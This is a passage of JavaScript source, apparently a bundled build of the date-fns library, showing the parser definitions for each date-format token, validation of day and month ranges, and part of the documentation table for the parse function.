    var rangeEndCentury = Math.floor(rangeEnd / 100) * 100;
    var isPreviousCentury = twoDigitYear >= rangeEnd % 100;
    result = twoDigitYear + rangeEndCentury - (isPreviousCentury ? 100 : 0);
  }

  return isCommonEra ? result : 1 - result
}

var DAYS_IN_MONTH$1 = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
var DAYS_IN_MONTH_LEAP_YEAR$1 = [31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];

// User for validation
function isLeapYearIndex$1 (year) {
  return year % 400 === 0 || (year % 4 === 0 && year % 100 !== 0)
}

/*
 * |     | Unit                           |     | Unit                           |
 * |-----|--------------------------------|-----|--------------------------------|
 * |  a  | AM, PM                         |  A* | Milliseconds in day            |
 * |  b  | AM, PM, noon, midnight         |  B  | Flexible day period            |
 * |  c  | Stand-alone local day of week  |  C* | Localized hour w/ day period   |
 * |  d  | Day of month                   |  D  | Day of year                    |
 * |  e  | Local day of week              |  E  | Day of week                    |
 * |  f  |                                |  F* | Day of week in month           |
 * |  g* | Modified Julian day            |  G  | Era                            |
 * |  h  | Hour [1-12]                    |  H  | Hour [0-23]                    |
 * |  i! | ISO day of week                |  I! | ISO week of year               |
 * |  j* | Localized hour w/ day period   |  J* | Localized hour w/o day period  |
 * |  k  | Hour [1-24]                    |  K  | Hour [0-11]                    |
 * |  l* | (deprecated)                   |  L  | Stand-alone month              |
 * |  m  | Minute                         |  M  | Month                          |
 * |  n  |                                |  N  |                                |
 * |  o! | Ordinal number modifier        |  O* | Timezone (GMT)                 |
 * |  p  |                                |  P  |                                |
 * |  q  | Stand-alone quarter            |  Q  | Quarter                        |
 * |  r* | Related Gregorian year         |  R! | ISO week-numbering year        |
 * |  s  | Second                         |  S  | Fraction of second             |
 * |  t! | Seconds timestamp              |  T! | Milliseconds timestamp         |
 * |  u  | Extended year                  |  U* | Cyclic year                    |
 * |  v* | Timezone (generic non-locat.)  |  V* | Timezone (location)            |
 * |  w  | Local week of year             |  W* | Week of month                  |
 * |  x  | Timezone (ISO-8601 w/o Z)      |  X  | Timezone (ISO-8601)            |
 * |  y  | Year (abs)                     |  Y  | Local week-numbering year      |
 * |  z* | Timezone (specific non-locat.) |  Z* | Timezone (aliases)             |
 *
 * Letters marked by * are not implemented but reserved by Unicode standard.
 *
 * Letters marked by ! are non-standard, but implemented by date-fns:
 * - `o` modifies the previous token to turn it into an ordinal (see `parse` docs)
 * - `i` is ISO day of week. For `i` and `ii` is returns numeric ISO week days,
 *   i.e. 7 for Sunday, 1 for Monday, etc.
 * - `I` is ISO week of year, as opposed to `w` which is local week of year.
 * - `R` is ISO week-numbering year, as opposed to `Y` which is local week-numbering year.
 *   `R` is supposed to be used in conjunction with `I` and `i`
 *   for universal ISO week-numbering date, whereas
 *   `Y` is supposed to be used in conjunction with `w` and `e`
 *   for week-numbering date specific to the locale.
 */
var parsers = {
  // Era
  G: {
    priority: 140,
    parse: function (string, token, match, options) {
      switch (token) {
        // AD, BC
        case 'G':
        case 'GG':
        case 'GGG':
          return match.era(string, {width: 'abbreviated'}) ||
            match.era(string, {width: 'narrow'})
        // A, B
        case 'GGGGG':
          return match.era(string, {width: 'narrow'})
        // Anno Domini, Before Christ
        case 'GGGG':
        default:
          return match.era(string, {width: 'wide'}) ||
            match.era(string, {width: 'abbreviated'}) ||
            match.era(string, {width: 'narrow'})
      }
    },
    set: function (date, value, options) {
      // Sets year 10 BC if BC, or 10 AC if AC
      date.setUTCFullYear(value === 1 ? 10 : -9, 0, 1);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // Year
  y: {
    // From http://www.unicode.org/reports/tr35/tr35-31/tr35-dates.html#Date_Format_Patterns
    // | Year     |     y | yy |   yyy |  yyyy | yyyyy |
    // |----------|-------|----|-------|-------|-------|
    // | AD 1     |     1 | 01 |   001 |  0001 | 00001 |
    // | AD 12    |    12 | 12 |   012 |  0012 | 00012 |
    // | AD 123   |   123 | 23 |   123 |  0123 | 00123 |
    // | AD 1234  |  1234 | 34 |  1234 |  1234 | 01234 |
    // | AD 12345 | 12345 | 45 | 12345 | 12345 | 12345 |

    priority: 130,
    parse: function (string, token, match, options) {
      var valueCallback = function (year) {
        return {
          year: year,
          isTwoDigitYear: token === 'yy'
        }
      };

      switch (token) {
        case 'y':
          return parseNDigits(4, string, valueCallback)
        case 'yo':
          return match.ordinalNumber(string, {unit: 'year', valueCallback: valueCallback})
        default:
          return parseNDigits(token.length, string, valueCallback)
      }
    },
    validate: function (date, value, options) {
      return value.isTwoDigitYear || value.year > 0
    },
    set: function (date, value, options) {
      var currentYear = getUTCWeekYear(date, options);

      if (value.isTwoDigitYear) {
        var normalizedTwoDigitYear = normalizeTwoDigitYear(value.year, currentYear);
        date.setUTCFullYear(normalizedTwoDigitYear, 0, 1);
        date.setUTCHours(0, 0, 0, 0);
        return date
      }

      var year = currentYear > 0 ? value.year : 1 - value.year;
      date.setUTCFullYear(year, 0, 1);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // Local week-numbering year
  Y: {
    priority: 130,
    parse: function (string, token, match, options) {
      var valueCallback = function (year) {
        return {
          year: year,
          isTwoDigitYear: token === 'YY'
        }
      };

      switch (token) {
        case 'Y':
          return parseNDigits(4, string, valueCallback)
        case 'Yo':
          return match.ordinalNumber(string, {unit: 'year', valueCallback: valueCallback})
        default:
          return parseNDigits(token.length, string, valueCallback)
      }
    },
    validate: function (date, value, options) {
      return value.isTwoDigitYear || value.year > 0
    },
    set: function (date, value, options) {
      var currentYear = date.getUTCFullYear();

      if (value.isTwoDigitYear) {
        var normalizedTwoDigitYear = normalizeTwoDigitYear(value.year, currentYear);
        date.setUTCFullYear(normalizedTwoDigitYear, 0, options.firstWeekContainsDate);
        date.setUTCHours(0, 0, 0, 0);
        return startOfUTCWeek(date, options)
      }

      var year = currentYear > 0 ? value.year : 1 - value.year;
      date.setUTCFullYear(year, 0, options.firstWeekContainsDate);
      date.setUTCHours(0, 0, 0, 0);
      return startOfUTCWeek(date, options)
    }
  },

  // ISO week-numbering year
  R: {
    priority: 130,
    parse: function (string, token, match, options) {
      if (token === 'R') {
        return parseNDigitsSigned(4, string)
      }

      return parseNDigitsSigned(token.length, string)
    },
    set: function (date, value, options) {
      var firstWeekOfYear = new Date(0);
      firstWeekOfYear.setUTCFullYear(value, 0, 4);
      firstWeekOfYear.setUTCHours(0, 0, 0, 0);
      return startOfUTCISOWeek(firstWeekOfYear)
    }
  },

  // Extended year
  u: {
    priority: 130,
    parse: function (string, token, match, options) {
      if (token === 'u') {
        return parseNDigitsSigned(4, string)
      }

      return parseNDigitsSigned(token.length, string)
    },
    set: function (date, value, options) {
      date.setUTCFullYear(value, 0, 1);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // Quarter
  Q: {
    priority: 120,
    parse: function (string, token, match, options) {
      switch (token) {
        // 1, 2, 3, 4
        case 'Q':
        case 'QQ': // 01, 02, 03, 04
          return parseNDigits(token.length, string)
        // 1st, 2nd, 3rd, 4th
        case 'Qo':
          return match.ordinalNumber(string, {unit: 'quarter'})
        // Q1, Q2, Q3, Q4
        case 'QQQ':
          return match.quarter(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.quarter(string, {width: 'narrow', context: 'formatting'})
        // 1, 2, 3, 4 (narrow quarter; could be not numerical)
        case 'QQQQQ':
          return match.quarter(string, {width: 'narrow', context: 'formatting'})
        // 1st quarter, 2nd quarter, ...
        case 'QQQQ':
        default:
          return match.quarter(string, {width: 'wide', context: 'formatting'}) ||
            match.quarter(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.quarter(string, {width: 'narrow', context: 'formatting'})
      }
    },
    validate: function (date, value, options) {
      return value >= 1 && value <= 4
    },
    set: function (date, value, options) {
      date.setUTCMonth((value - 1) * 3, 1);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // Stand-alone quarter
  q: {
    priority: 120,
    parse: function (string, token, match, options) {
      switch (token) {
        // 1, 2, 3, 4
        case 'q':
        case 'qq': // 01, 02, 03, 04
          return parseNDigits(token.length, string)
        // 1st, 2nd, 3rd, 4th
        case 'qo':
          return match.ordinalNumber(string, {unit: 'quarter'})
        // Q1, Q2, Q3, Q4
        case 'qqq':
          return match.quarter(string, {width: 'abbreviated', context: 'standalone'}) ||
            match.quarter(string, {width: 'narrow', context: 'standalone'})
        // 1, 2, 3, 4 (narrow quarter; could be not numerical)
        case 'qqqqq':
          return match.quarter(string, {width: 'narrow', context: 'standalone'})
        // 1st quarter, 2nd quarter, ...
        case 'qqqq':
        default:
          return match.quarter(string, {width: 'wide', context: 'standalone'}) ||
            match.quarter(string, {width: 'abbreviated', context: 'standalone'}) ||
            match.quarter(string, {width: 'narrow', context: 'standalone'})
      }
    },
    validate: function (date, value, options) {
      return value >= 1 && value <= 4
    },
    set: function (date, value, options) {
      date.setUTCMonth((value - 1) * 3, 1);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // Month
  M: {
    priority: 110,
    parse: function (string, token, match, options) {
      var valueCallback = function (value) {
        return value - 1
      };

      switch (token) {
        // 1, 2, ..., 12
        case 'M':
          return parseNumericPattern(numericPatterns.month, string, valueCallback)
        // 01, 02, ..., 12
        case 'MM':
          return parseNDigits(2, string, valueCallback)
        // 1st, 2nd, ..., 12th
        case 'Mo':
          return match.ordinalNumber(string, {unit: 'month', valueCallback: valueCallback})
        // Jan, Feb, ..., Dec
        case 'MMM':
          return match.month(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.month(string, {width: 'narrow', context: 'formatting'})
        // J, F, ..., D
        case 'MMMMM':
          return match.month(string, {width: 'narrow', context: 'formatting'})
        // January, February, ..., December
        case 'MMMM':
        default:
          return match.month(string, {width: 'wide', context: 'formatting'}) ||
            match.month(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.month(string, {width: 'narrow', context: 'formatting'})
      }
    },
    validate: function (date, value, options) {
      return value >= 0 && value <= 11
    },
    set: function (date, value, options) {
      date.setUTCMonth(value, 1);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // Stand-alone month
  L: {
    priority: 110,
    parse: function (string, token, match, options) {
      var valueCallback = function (value) {
        return value - 1
      };

      switch (token) {
        // 1, 2, ..., 12
        case 'L':
          return parseNumericPattern(numericPatterns.month, string, valueCallback)
        // 01, 02, ..., 12
        case 'LL':
          return parseNDigits(2, string, valueCallback)
        // 1st, 2nd, ..., 12th
        case 'Lo':
          return match.ordinalNumber(string, {unit: 'month', valueCallback: valueCallback})
        // Jan, Feb, ..., Dec
        case 'LLL':
          return match.month(string, {width: 'abbreviated', context: 'standalone'}) ||
            match.month(string, {width: 'narrow', context: 'standalone'})
        // J, F, ..., D
        case 'LLLLL':
          return match.month(string, {width: 'narrow', context: 'standalone'})
        // January, February, ..., December
        case 'LLLL':
        default:
          return match.month(string, {width: 'wide', context: 'standalone'}) ||
            match.month(string, {width: 'abbreviated', context: 'standalone'}) ||
            match.month(string, {width: 'narrow', context: 'standalone'})
      }
    },
    validate: function (date, value, options) {
      return value >= 0 && value <= 11
    },
    set: function (date, value, options) {
      date.setUTCMonth(value, 1);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // Local week of year
  w: {
    priority: 100,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'w':
          return parseNumericPattern(numericPatterns.week, string)
        case 'wo':
          return match.ordinalNumber(string, {unit: 'week'})
        default:
          return parseNDigits(token.length, string)
      }
    },
    validate: function (date, value, options) {
      return value >= 1 && value <= 53
    },
    set: function (date, value, options) {
      return startOfUTCWeek(setUTCWeek(date, value, options), options)
    }
  },

  // ISO week of year
  I: {
    priority: 100,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'I':
          return parseNumericPattern(numericPatterns.week, string)
        case 'Io':
          return match.ordinalNumber(string, {unit: 'week'})
        default:
          return parseNDigits(token.length, string)
      }
    },
    validate: function (date, value, options) {
      return value >= 1 && value <= 53
    },
    set: function (date, value, options) {
      return startOfUTCISOWeek(setUTCISOWeek(date, value, options), options)
    }
  },

  // Day of the month
  d: {
    priority: 90,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'd':
          return parseNumericPattern(numericPatterns.date, string)
        case 'do':
          return match.ordinalNumber(string, {unit: 'date'})
        default:
          return parseNDigits(token.length, string)
      }
    },
    validate: function (date, value, options) {
      var year = date.getUTCFullYear();
      var isLeapYear = isLeapYearIndex$1(year);
      var month = date.getUTCMonth();
      if (isLeapYear) {
        return value >= 1 && value <= DAYS_IN_MONTH_LEAP_YEAR$1[month]
      } else {
        return value >= 1 && value <= DAYS_IN_MONTH$1[month]
      }
    },
    set: function (date, value, options) {
      date.setUTCDate(value);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // Day of year
  D: {
    priority: 90,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'D':
        case 'DD':
          return parseNumericPattern(numericPatterns.dayOfYear, string)
        case 'Do':
          return match.ordinalNumber(string, {unit: 'date'})
        default:
          return parseNDigits(token.length, string)
      }
    },
    validate: function (date, value, options) {
      var year = date.getUTCFullYear();
      var isLeapYear = isLeapYearIndex$1(year);
      if (isLeapYear) {
        return value >= 1 && value <= 366
      } else {
        return value >= 1 && value <= 365
      }
    },
    set: function (date, value, options) {
      date.setUTCMonth(0, value);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // Day of week
  E: {
    priority: 90,
    parse: function (string, token, match, options) {
      switch (token) {
        // Tue
        case 'E':
        case 'EE':
        case 'EEE':
          return match.day(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.day(string, {width: 'short', context: 'formatting'}) ||
            match.day(string, {width: 'narrow', context: 'formatting'})
        // T
        case 'EEEEE':
          return match.day(string, {width: 'narrow', context: 'formatting'})
        // Tu
        case 'EEEEEE':
          return match.day(string, {width: 'short', context: 'formatting'}) ||
          match.day(string, {width: 'narrow', context: 'formatting'})
        // Tuesday
        case 'EEEE':
        default:
          return match.day(string, {width: 'wide', context: 'formatting'}) ||
            match.day(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.day(string, {width: 'short', context: 'formatting'}) ||
            match.day(string, {width: 'narrow', context: 'formatting'})
      }
    },
    validate: function (date, value, options) {
      return value >= 0 && value <= 6
    },
    set: function (date, value, options) {
      date = setUTCDay(date, value, options);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // Local day of week
  e: {
    priority: 90,
    parse: function (string, token, match, options) {
      var valueCallback = function (value) {
        var wholeWeekDays = Math.floor((value - 1) / 7) * 7;
        return (value + options.weekStartsOn + 6) % 7 + wholeWeekDays
      };

      switch (token) {
        // 3
        case 'e':
        case 'ee': // 03
          return parseNDigits(token.length, string, valueCallback)
        // 3rd
        case 'eo':
          return match.ordinalNumber(string, {unit: 'day', valueCallback: valueCallback})
        // Tue
        case 'eee':
          return match.day(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.day(string, {width: 'short', context: 'formatting'}) ||
            match.day(string, {width: 'narrow', context: 'formatting'})
        // T
        case 'eeeee':
          return match.day(string, {width: 'narrow', context: 'formatting'})
        // Tu
        case 'eeeeee':
          return match.day(string, {width: 'short', context: 'formatting'}) ||
          match.day(string, {width: 'narrow', context: 'formatting'})
        // Tuesday
        case 'eeee':
        default:
          return match.day(string, {width: 'wide', context: 'formatting'}) ||
            match.day(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.day(string, {width: 'short', context: 'formatting'}) ||
            match.day(string, {width: 'narrow', context: 'formatting'})
      }
    },
    validate: function (date, value, options) {
      return value >= 0 && value <= 6
    },
    set: function (date, value, options) {
      date = setUTCDay(date, value, options);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // Stand-alone local day of week
  c: {
    priority: 90,
    parse: function (string, token, match, options) {
      var valueCallback = function (value) {
        var wholeWeekDays = Math.floor((value - 1) / 7) * 7;
        return (value + options.weekStartsOn + 6) % 7 + wholeWeekDays
      };

      switch (token) {
        // 3
        case 'c':
        case 'cc': // 03
          return parseNDigits(token.length, string, valueCallback)
        // 3rd
        case 'co':
          return match.ordinalNumber(string, {unit: 'day', valueCallback: valueCallback})
        // Tue
        case 'ccc':
          return match.day(string, {width: 'abbreviated', context: 'standalone'}) ||
            match.day(string, {width: 'short', context: 'standalone'}) ||
            match.day(string, {width: 'narrow', context: 'standalone'})
        // T
        case 'ccccc':
          return match.day(string, {width: 'narrow', context: 'standalone'})
        // Tu
        case 'cccccc':
          return match.day(string, {width: 'short', context: 'standalone'}) ||
          match.day(string, {width: 'narrow', context: 'standalone'})
        // Tuesday
        case 'cccc':
        default:
          return match.day(string, {width: 'wide', context: 'standalone'}) ||
            match.day(string, {width: 'abbreviated', context: 'standalone'}) ||
            match.day(string, {width: 'short', context: 'standalone'}) ||
            match.day(string, {width: 'narrow', context: 'standalone'})
      }
    },
    validate: function (date, value, options) {
      return value >= 0 && value <= 6
    },
    set: function (date, value, options) {
      date = setUTCDay(date, value, options);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // ISO day of week
  i: {
    priority: 90,
    parse: function (string, token, match, options) {
      var valueCallback = function (value) {
        if (value === 0) {
          return 7
        }
        return value
      };

      switch (token) {
        // 2
        case 'i':
        case 'ii': // 02
          return parseNDigits(token.length, string)
        // 2nd
        case 'io':
          return match.ordinalNumber(string, {unit: 'day'})
        // Tue
        case 'iii':
          return match.day(string, {width: 'abbreviated', context: 'formatting', valueCallback: valueCallback}) ||
            match.day(string, {width: 'short', context: 'formatting', valueCallback: valueCallback}) ||
            match.day(string, {width: 'narrow', context: 'formatting', valueCallback: valueCallback})
        // T
        case 'iiiii':
          return match.day(string, {width: 'narrow', context: 'formatting', valueCallback: valueCallback})
        // Tu
        case 'iiiiii':
          return match.day(string, {width: 'short', context: 'formatting', valueCallback: valueCallback}) ||
          match.day(string, {width: 'narrow', context: 'formatting', valueCallback: valueCallback})
        // Tuesday
        case 'iiii':
        default:
          return match.day(string, {width: 'wide', context: 'formatting', valueCallback: valueCallback}) ||
            match.day(string, {width: 'abbreviated', context: 'formatting', valueCallback: valueCallback}) ||
            match.day(string, {width: 'short', context: 'formatting', valueCallback: valueCallback}) ||
            match.day(string, {width: 'narrow', context: 'formatting', valueCallback: valueCallback})
      }
    },
    validate: function (date, value, options) {
      return value >= 1 && value <= 7
    },
    set: function (date, value, options) {
      date = setUTCISODay(date, value, options);
      date.setUTCHours(0, 0, 0, 0);
      return date
    }
  },

  // AM or PM
  a: {
    priority: 80,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'a':
        case 'aa':
        case 'aaa':
          return match.dayPeriod(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.dayPeriod(string, {width: 'narrow', context: 'formatting'})
        case 'aaaaa':
          return match.dayPeriod(string, {width: 'narrow', context: 'formatting'})
        case 'aaaa':
        default:
          return match.dayPeriod(string, {width: 'wide', context: 'formatting'}) ||
            match.dayPeriod(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.dayPeriod(string, {width: 'narrow', context: 'formatting'})
      }
    },
    set: function (date, value, options) {
      date.setUTCHours(dayPeriodEnumToHours(value), 0, 0, 0);
      return date
    }
  },

  // AM, PM, midnight
  b: {
    priority: 80,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'b':
        case 'bb':
        case 'bbb':
          return match.dayPeriod(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.dayPeriod(string, {width: 'narrow', context: 'formatting'})
        case 'bbbbb':
          return match.dayPeriod(string, {width: 'narrow', context: 'formatting'})
        case 'bbbb':
        default:
          return match.dayPeriod(string, {width: 'wide', context: 'formatting'}) ||
            match.dayPeriod(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.dayPeriod(string, {width: 'narrow', context: 'formatting'})
      }
    },
    set: function (date, value, options) {
      date.setUTCHours(dayPeriodEnumToHours(value), 0, 0, 0);
      return date
    }
  },

  // in the morning, in the afternoon, in the evening, at night
  B: {
    priority: 80,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'B':
        case 'BB':
        case 'BBB':
          return match.dayPeriod(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.dayPeriod(string, {width: 'narrow', context: 'formatting'})
        case 'BBBBB':
          return match.dayPeriod(string, {width: 'narrow', context: 'formatting'})
        case 'BBBB':
        default:
          return match.dayPeriod(string, {width: 'wide', context: 'formatting'}) ||
            match.dayPeriod(string, {width: 'abbreviated', context: 'formatting'}) ||
            match.dayPeriod(string, {width: 'narrow', context: 'formatting'})
      }
    },
    set: function (date, value, options) {
      date.setUTCHours(dayPeriodEnumToHours(value), 0, 0, 0);
      return date
    }
  },

  // Hour [1-12]
  h: {
    priority: 70,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'h':
          return parseNumericPattern(numericPatterns.hour12h, string)
        case 'ho':
          return match.ordinalNumber(string, {unit: 'hour'})
        default:
          return parseNDigits(token.length, string)
      }
    },
    validate: function (date, value, options) {
      return value >= 1 && value <= 12
    },
    set: function (date, value, options) {
      var isPM = date.getUTCHours() >= 12;
      if (isPM && value < 12) {
        date.setUTCHours(value + 12, 0, 0, 0);
      } else if (!isPM && value === 12) {
        date.setUTCHours(0, 0, 0, 0);
      } else {
        date.setUTCHours(value, 0, 0, 0);
      }
      return date
    }
  },

  // Hour [0-23]
  H: {
    priority: 70,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'H':
          return parseNumericPattern(numericPatterns.hour23h, string)
        case 'Ho':
          return match.ordinalNumber(string, {unit: 'hour'})
        default:
          return parseNDigits(token.length, string)
      }
    },
    validate: function (date, value, options) {
      return value >= 0 && value <= 23
    },
    set: function (date, value, options) {
      date.setUTCHours(value, 0, 0, 0);
      return date
    }
  },

  // Hour [0-11]
  K: {
    priority: 70,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'K':
          return parseNumericPattern(numericPatterns.hour11h, string)
        case 'Ko':
          return match.ordinalNumber(string, {unit: 'hour'})
        default:
          return parseNDigits(token.length, string)
      }
    },
    validate: function (date, value, options) {
      return value >= 0 && value <= 11
    },
    set: function (date, value, options) {
      var isPM = date.getUTCHours() >= 12;
      if (isPM && value < 12) {
        date.setUTCHours(value + 12, 0, 0, 0);
      } else {
        date.setUTCHours(value, 0, 0, 0);
      }
      return date
    }
  },

  // Hour [1-24]
  k: {
    priority: 70,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'k':
          return parseNumericPattern(numericPatterns.hour24h, string)
        case 'ko':
          return match.ordinalNumber(string, {unit: 'hour'})
        default:
          return parseNDigits(token.length, string)
      }
    },
    validate: function (date, value, options) {
      return value >= 1 && value <= 24
    },
    set: function (date, value, options) {
      var hours = value <= 24 ? value % 24 : value;
      date.setUTCHours(hours, 0, 0, 0);
      return date
    }
  },

  // Minute
  m: {
    priority: 60,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'm':
          return parseNumericPattern(numericPatterns.minute, string)
        case 'mo':
          return match.ordinalNumber(string, {unit: 'minute'})
        default:
          return parseNDigits(token.length, string)
      }
    },
    validate: function (date, value, options) {
      return value >= 0 && value <= 59
    },
    set: function (date, value, options) {
      date.setUTCMinutes(value, 0, 0);
      return date
    }
  },

  // Second
  s: {
    priority: 50,
    parse: function (string, token, match, options) {
      switch (token) {
        case 's':
          return parseNumericPattern(numericPatterns.second, string)
        case 'so':
          return match.ordinalNumber(string, {unit: 'second'})
        default:
          return parseNDigits(token.length, string)
      }
    },
    validate: function (date, value, options) {
      return value >= 0 && value <= 59
    },
    set: function (date, value, options) {
      date.setUTCSeconds(value, 0);
      return date
    }
  },

  // Fraction of second
  S: {
    priority: 40,
    parse: function (string, token, match, options) {
      var valueCallback = function (value) {
        return Math.floor(value * Math.pow(10, -token.length + 3))
      };
      return parseNDigits(token.length, string, valueCallback)
    },
    set: function (date, value, options) {
      date.setUTCMilliseconds(value);
      return date
    }
  },

  // Timezone (ISO-8601. +00:00 is `'Z'`)
  X: {
    priority: 20,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'X':
          return parseTimezonePattern(timezonePatterns.basicOptionalMinutes, string)
        case 'XX':
          return parseTimezonePattern(timezonePatterns.basic, string)
        case 'XXXX':
          return parseTimezonePattern(timezonePatterns.basicOptionalSeconds, string)
        case 'XXXXX':
          return parseTimezonePattern(timezonePatterns.extendedOptionalSeconds, string)
        case 'XXX':
        default:
          return parseTimezonePattern(timezonePatterns.extended, string)
      }
    },
    set: function (date, value, options) {
      return new Date(date.getTime() - value)
    }
  },

  // Timezone (ISO-8601)
  x: {
    priority: 20,
    parse: function (string, token, match, options) {
      switch (token) {
        case 'x':
          return parseTimezonePattern(timezonePatterns.basicOptionalMinutes, string)
        case 'xx':
          return parseTimezonePattern(timezonePatterns.basic, string)
        case 'xxxx':
          return parseTimezonePattern(timezonePatterns.basicOptionalSeconds, string)
        case 'xxxxx':
          return parseTimezonePattern(timezonePatterns.extendedOptionalSeconds, string)
        case 'xxx':
        default:
          return parseTimezonePattern(timezonePatterns.extended, string)
      }
    },
    set: function (date, value, options) {
      return new Date(date.getTime() - value)
    }
  },

  // Seconds timestamp
  t: {
    priority: 10,
    parse: function (string, token, match, options) {
      return parseAnyDigitsSigned(string)
    },
    set: function (date, value, options) {
      return new Date(value * 1000)
    }
  },

  // Milliseconds timestamp
  T: {
    priority: 10,
    parse: function (string, token, match, options) {
      return parseAnyDigitsSigned(string)
    },
    set: function (date, value, options) {
      return new Date(value)
    }
  }
};

var TIMEZONE_UNIT_PRIORITY = 20;

// This RegExp consists of three parts separated by `|`:
// - [yYQqMLwIdDecihHKkms]o matches any available ordinal number token
//   (one of the certain letters followed by `o`)
// - (\w)\1* matches any sequences of the same letter
// - '' matches two quote characters in a row
// - '(''|[^'])+('|$) matches anything surrounded by two quote characters ('),
//   except a single quote symbol, which ends the sequence.
//   Two quote characters do not end the sequence.
//   If there is no matching single quote
//   then the sequence will continue until the end of the string.
// - . matches any single character unmatched by previous parts of the RegExps
var formattingTokensRegExp$1 = /[yYQqMLwIdDecihHKkms]o|(\w)\1*|''|'(''|[^'])+('|$)|./g;

var escapedStringRegExp$1 = /^'(.*?)'?$/;
var doubleQuoteRegExp$1 = /''/g;

var notWhitespaceRegExp = /\S/;

/**
 * @name parse
 * @category Common Helpers
 * @summary Parse the date.
 *
 * @description
 * Return the date parsed from string using the given format string.
 *
 * > ⚠️ Please note that the `format` tokens differ from Moment.js and other libraries.
 * > See: https://git.io/fxCyr
 *
 * The characters in the format string wrapped between two single quotes characters (') are escaped.
 * Two single quotes in a row, whether inside or outside a quoted sequence, represent a 'real' single quote.
 *
 * Format of the format string is based on Unicode Technical Standard #35:
 * https://www.unicode.org/reports/tr35/tr35-dates.html#Date_Field_Symbol_Table
 * with a few additions (see note 5 below the table).
 *
 * Accepted format string patterns:
 * | Unit                            |Prior| Pattern | Result examples                   | Notes |
 * |---------------------------------|-----|---------|-----------------------------------|-------|
 * | Era                             | 140 | G..GGG  | AD, BC                            |       |
 * |                                 |     | GGGG    | Anno Domini, Before Christ        | 2     |
 * |                                 |     | GGGGG   | A, B                              |       |
 * | Calendar year                   | 130 | y       | 44, 1, 1900, 2017, 9999           | 4     |
 * |                                 |     | yo      | 44th, 1st, 1900th, 9999999th      | 4,5   |
 * |                                 |     | yy      | 44, 01, 00, 17                    | 4     |
 * |                                 |     | yyy     | 044, 001, 123, 999                | 4     |
 * |                                 |     | yyyy    | 0044, 0001, 1900, 2017            | 4     |
 * |                                 |     | yyyyy   | ...                               | 2,4   |
 * | Local week-numbering year       | 130 | Y       | 44, 1, 1900, 2017, 9000           | 4     |
 * |                                 |     | Yo      | 44th, 1st, 1900th, 9999999th      | 4,5   |
 * |                                 |     | YY      | 44, 01, 00, 17                    | 4,6   |
 * |                                 |     | YYY     | 044, 001, 123, 999                | 4     |
 * |                                 |     | YYYY    | 0044, 0001, 1900, 2017            | 4,6   |
 * |                                 |     | YYYYY   | ...                               | 2,4   |
 * | ISO week-numbering year         | 130 | R       | -43, 1, 1900, 2017, 9999, -9999   | 4,5   |
 * |                                 |     | RR      | -43, 01, 00, 17                   | 4,5   |
 * |                                 |     | RRR     | -043, 001, 123, 999, -999         | 4,5   |
 * |                                 |     | RRRR    | -0043, 0001, 2017, 9999, -9999    | 4,5   |
 * |                                 |     | RRRRR   | ...                               | 2,4,5 |
 * | Extended year                   | 130 | u       | -43, 1, 1900, 2017, 9999, -999    | 4     |
 * |                                 |     | uu      | -43, 01, 99, -99                  | 4     |
 * |                                 |     | uuu     | -043, 001, 123, 999, -999         | 4     |
 * |                                 |     | uuuu    | -0043, 0001, 2017, 9999, -9999    | 4     |
 * |                                 |     | uuuuu   | ...                               | 2,4   |
 * | Quarter (formatting)            | 120 | Q       | 1, 2, 3, 4                        |       |
 * |                                 |     | Qo      | 1st, 2nd, 3rd, 4th                | 5     |
 * |                                 |     | QQ      | 01, 02, 03, 04                    |       |
 * |                                 |     | QQQ     | Q1, Q2, Q3, Q4                    |       |
 * |                                 |     | QQQQ    | 1st quarter, 2nd quarter, ...     | 2     |
 * |                                 |     | QQQQQ   | 1, 2, 3, 4                        | 4     |
 * | Quarter (stand-alone)           | 120 | q       | 1, 2, 3, 4                        |       |
 * |                                 |     | qo      | 1st, 2nd, 3rd, 4th                | 5     |
 * |                                 |     | qq      | 01, 02, 03, 04                    |       |
 * |                                 |     | qqq     | Q1, Q2, Q3, Q4                    |       |
 * |                                 |     | qqqq    | 1st quarter, 2nd quarter, ...     | 2     |
 * |                                 |     | qqqqq   | 1, 2, 3, 4                        | 3     |
 * | Month (formatting)              | 110 | M       | 1, 2, ..., 12                     |       |
 * |                                 |     | Mo      | 1st, 2nd, ..., 12th               | 5     |
